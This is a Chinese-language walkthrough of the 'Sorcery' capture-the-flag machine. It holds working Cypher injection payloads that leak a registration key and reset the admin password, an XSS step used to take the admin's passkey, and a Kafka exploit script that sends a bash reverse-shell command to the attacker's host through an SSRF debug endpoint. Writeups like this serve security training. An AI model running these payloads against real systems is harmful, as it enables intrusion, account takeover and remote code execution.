An image to describe post

第1步:侦查 / 枚举

  • 运行 nmap:

    nmap -T4 -vv -sC -sV -oN nmap/intial 10.129.161.83
    
  • 发现开放端口:

    • 22/tcp -> SSH (OpenSSH 9.6p1)
    • 443/tcp -> HTTPS (nginx/1.27.1)

第2步:网页枚举

  • 访问主网站:

    https://sorcery.htb/auth/login
    

    An image to describe post

  • 发现 Gitea 服务器:

    https://git.sorcery.htb
    

    An image to describe post

仓库发现:
An image to describe post

代码审查:
An image to describe post

  • 克隆仓库:

    GIT_SSL_NO_VERIFY=true git clone https://git.sorcery.htb/nicole_sullivan/infrastructure.git
    

第3步:注册用户

  • 在下方网址注册:

    https://sorcery.htb/auth/register
    

    An image to describe post

注册成功
An image to describe post

第4步:注册密钥的 Cypher 注入

查看产品:
An image to describe post

backend-macros/src/lib.rs,第 143 行

let get_functions = fields.iter().map(|&FieldWithAttributes { field, .. }| {
    let name = field.ident.as_ref().unwrap();	// 例如,"id", "username"
    let type_ = &field.ty;						// 字段类型
    let name_string = name.to_string();			// 在本例中为 "id"
    let function_name = syn::Ident::new(
        &format!("get_by_{}", name_string),		// 生成标识符:get_by_id
        proc_macro2::Span::call_site(),
    );

    quote! {
        pub async fn #function_name(#name: #type_) -> Option<Self> {
            let graph = crate::db::connection::GRAPH.get().await;
            
            let query_string = format!(
                r#"MATCH (result: {} {{ {}: "{}" }}) RETURN result"#,
                #struct_name, #name_string, #name
            );
            
            let row = match graph.execute(
                ::neo4rs::query(&query_string)
            ).await.unwrap().next().await {
                Ok(Some(row)) => row,
                _ => return None
            };
            Self::from_row(row).await
        }
    }
});
let query_string = format!(
    r#"MATCH (result: {} {{ {}: "{}" }}) RETURN result"#,
    #struct_name, #name_string, #name
);

注入查询:

get_by_id("someid\"}) RETURN 1 AS injection //--")

后端可能执行如下操作:

MATCH (result: Product { id: "someid"}) RETURN 1 AS injected //--" }) RETURN result

而用户输入(即 params.product)为:

88b6b6c5-a614-486c-9d51-d255f47efb4f" }) MATCH (u:User {username: 'admin'}) SET u.password = 'HASH' RETURN u // 

其他查询:

88b6b6c5-a614-486c-9d51-d255f47efb4f"}) 
OPTIONAL MATCH (c:Config) 
RETURN result { .*, description: coalesce(c.registration_key, result.description) }
//
  • 关闭了原有的 MATCH 语句:

    ... WHERE id: "${params.product}" }) ...
    

    变为:

    ... WHERE id: "88b6b6c5-a614-486c-9d51-d255f47efb4f"}) ...
    
  • 然后注入一个新的 Cypher 子句

    OPTIONAL MATCH (c:Config)
    

    返回篡改后的结果

    RETURN result {
      .*, 
      description: coalesce(c.registration_key, result.description)
    }

// 结束,以注释后续所有 Cypher 查询逻辑(例如 LIMIT 或尾部语法)。

An image to describe post

`

  • 找到卖家注册密钥:
    dd05d743-b560-45dc-9a09-43ab18c7a513

  • 现在可以使用此密钥注册为卖家

An image to describe post

现在我们已成为卖家,并新增了“新产品”选项

An image to describe post

第5步:利用 XSS 提取管理员密钥

在“新产品”页面中存在 XSS,在这里你可以获取管理员的密钥并使用该密钥登录

https://sorcery.htb/dashboard/new-product

An image to describe post

  • 触发 XSS,提取管理员凭证

第6步:利用 Cypher 注入重置管理员密码

现在通过下面的命令可以看到管理员密码以 Argon2 哈希存储

"}) OPTIONAL MATCH (u:User) RETURN result { .*, description: u.password }//

你也可以通过代码验证这一点:

if Argon2::default()
    .verify_password(
        password.as_bytes(),
        &PasswordHash::new(&user.password).unwrap(),
    )

生成一个 Argon2id 哈希

Argon2 哈希生成器、验证器、核查工具及相关资源

原始负载:

88b6b6c5-a614-486c-9d51-d255f47efb4f"}) 
WITH result 
MATCH (u:User {username: 'admin'}) 
SET u.password = '$argon2id$v=19$m=19456,t=2,p=1$9S5BTwdL3xhISWMIhz/3wA$yMnVOfgHjzt50z9pe9J1S1hrH/WHFmoLG+HJwnsb1VM' 
RETURN result { .*, description: 'admin password changed to pain0005' } //

最终负载:

https://sorcery.htb/dashboard/store/88b6b6c5-a614-486c-9d51-d255f47efb4f%22%7D%29%20WITH%20result%20MATCH%20%28u%3AUser%20%7Busername%3A%20%27admin%27%7D%29%20SET%20u.password%20%3D%20%27%24argon2id%24v%3D19%24m%3D19456%2Ct%3D2%2Cp%3D1%249S5BTwdL3xhISWMIhz%2F3wA%24yMnVOfgHjzt50z9pe9J1S1hrH%2FWHFmoLG%2BHJwnsb1VM%27%20RETURN%20result%20%7B%20.%2A%2C%20description%3A%20%27admin%20password%20changed%20to%20pain0005%27%20%7D%20%2F%2F

这会将 Neo4j 数据库中 admin 用户的密码 重置为 pain0005

An image to describe post

第7步:使用密钥登录

  • 使用 WebDevAuthn 扩展
  • 通过密钥登录:admin

An image to describe post

有时会显示 404,请尝试重新登录
An image to describe post

我们需要密钥登录

An image to describe postAn image to describe post

你需要安装名为 WebDevAuthn 的扩展

使用方法:

检查元素 → 应用程序 → 右侧三点 → 更多工具 → WebDevAuth

选项 1:此设备 → 添加 → 登出 → 使用密钥登录 → 用户名:admin

An image to describe post

或者会重定向到新页面,如下所示:

点击 Enroll Passkey 会重定向到新页面
An image to describe post

点击后返回原页面
An image to describe post

你将会看到如下界面:
An image to describe post

登出 → 使用密钥登录
An image to describe post

再次重定向到此页面:
An image to describe post

然后返回主标签页,你就已经登录成功
An image to describe post

登录类型:密钥
An image to describe post

https://sorcery.htb/dashboard/debug

An image to describe post

第8步:Kafka 利用

  • 通过 docker-compose.yml 设置 Kafka
mkdir kafka
nano kafka/Dockerfile
# 使用 Confluent 官方的 Kafka 镜像
FROM confluentinc/cp-kafka:latest

# 暴露 broker 和 controller 端口
EXPOSE 9092 9093
docker-compose up --build -d

An image to describe post

docker ps

An image to describe post

检查 Kafka 端口:

nc -vz localhost 9092

列出 Kafka 元数据:

kcat -b localhost:9092 -L

创建 Kafka 主题:

docker exec -it sorcery_kafka_1 \
  kafka-topics --bootstrap-server localhost:9092 \
  --create --topic **update** --partitions 1 --replication-factor 1

我们从 main.rs 后端代码中获取到了主题名称:

fn main() {
    dotenv::dotenv().ok();
    let broker = std::env::var("KAFKA_BROKER").expect("KAFKA_BROKER");

    let topic = "update".to_string();
    let group = "update".to_string();

    let mut consumer = Consumer::from_hosts(vec![broker.clone()])
        .with_topic(topic)
        .with_group(group)
        .with_fallback_offset(FetchOffset::Earliest)
        .with_offset_storage(Some(GroupOffsetStorage::Kafka))
        .create()
        .expect("Kafka consumer");

    let mut producer = Producer::from_hosts(vec![broker])
        .with_ack_timeout(Duration::from_secs(1))
        .with_required_acks(RequiredAcks::One)
        .create()
        .expect("Kafka producer");

    println!("[+] Started consumer");

    loop {
        let Ok(message_sets) = consumer.poll() else {
            continue;
        };

        for message_set in message_sets.iter() {
            for message in message_set.messages() {
                let Ok(command) = str::from_utf8(message.value) else {
                    continue;
                };

                println!("[*] Got new command: {}", command);

                let mut process = match Command::new("bash").arg("-c").arg(command).spawn() {
                    Ok(process) => process,
                    Err(error) => {
                        println!("[-] {error}");
                        continue;
                    }
                };

                if let Err(error) = process.wait() {
                    println!("[-] {error}");
                    continue;
                }

                let entries = fetch_entries();

                println!("[*] Entries: {:?}", entries);

                let Ok(value) = serde_json::to_string(&entries) else {
                    continue;
                };

                producer
                    .send(&Record {
                        key: (),
                        value,
                        topic: "get",
                        partition: -1,
                    })
                    .ok();
            }
            consumer.consume_messageset(message_set).ok();
        }
        consumer.commit_consumed().ok();
    }
}
wireshark

使用 Loopback lo

An image to describe post

exploit_kafka.py

from kafka import KafkaProducer
import logging

# 启用基础日志记录
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)

def send_kafka_message(topic: str, message: bytes, partition: int = -1):
    """发送消息到 Kafka 主题(可选:指定分区)。"""
    try:
        producer = KafkaProducer(bootstrap_servers=['localhost:9092'], acks='all', retries=1)
        logger.info(f"Producer ready. Sending to topic '{topic}'...")

        if partition == -1:
            future = producer.send(topic, value=message)
        else:
            future = producer.send(topic, value=message, partition=partition)

        # 等待 Kafka 确认
        meta = future.get(timeout=60)
        logger.info(f"Sent! Topic: {meta.topic}, Partition: {meta.partition}, Offset: {meta.offset}")

    except Exception as e:
        logger.error(f"Failed to send message: {e}")
    finally:
        if 'producer' in locals():
            producer.flush()
            producer.close()
            logger.info("Producer closed.")

# --- 示例 ---
if __name__ == "__main__":
    topic = 'update'
    message = b'/bin/bash -i >& /dev/tcp/10.10.xx.xx/443 0>&1'  # 必须为字节格式

    print("[*] Sending Kafka message...")
    send_kafka_message(topic=topic, message=message)
    print("[+] Done.")
python3 exploit_kafka.py

An image to describe post

Kafka Produce v7 Response
An image to describe post

右键 → Follow → TCP Stream
An image to describe post

我们可以在 Wireshark 中看到数据:
An image to describe post

切换到 ASCIIRAW 后:

000000b2000000070000000200176b61666b612d707974686f6e2d70726f64756365722d31ffffffff000075300000000100067570646174650000000100000000000000710000000000000000000000650000000002da0e04f600000000000....<SNIP>...617368202d69203e26202f6465762f7463702f31302e31302e31352e31312f34343320303e263100

An image to describe post

https://sorcery.htb/dashboard/debug

主机:

kafka

端口:

9092

数据(十六进制):

000000b2000000070000000200176b61666b612d707974686f6e2d70726f64756365722d31ffffffff000075300000000100067570646174650000000100000000000000710000000000000000000000650000000002da0e04f600000000000....<SNIP>...617368202d69203e26202f6465762f7463702f31302e31302e31352e31312f34343320303e263100

勾选两个复选框
An image to describe post

发送请求后
An image to describe post

我们获得了一个 Docker 实例中用户的 shell
An image to describe post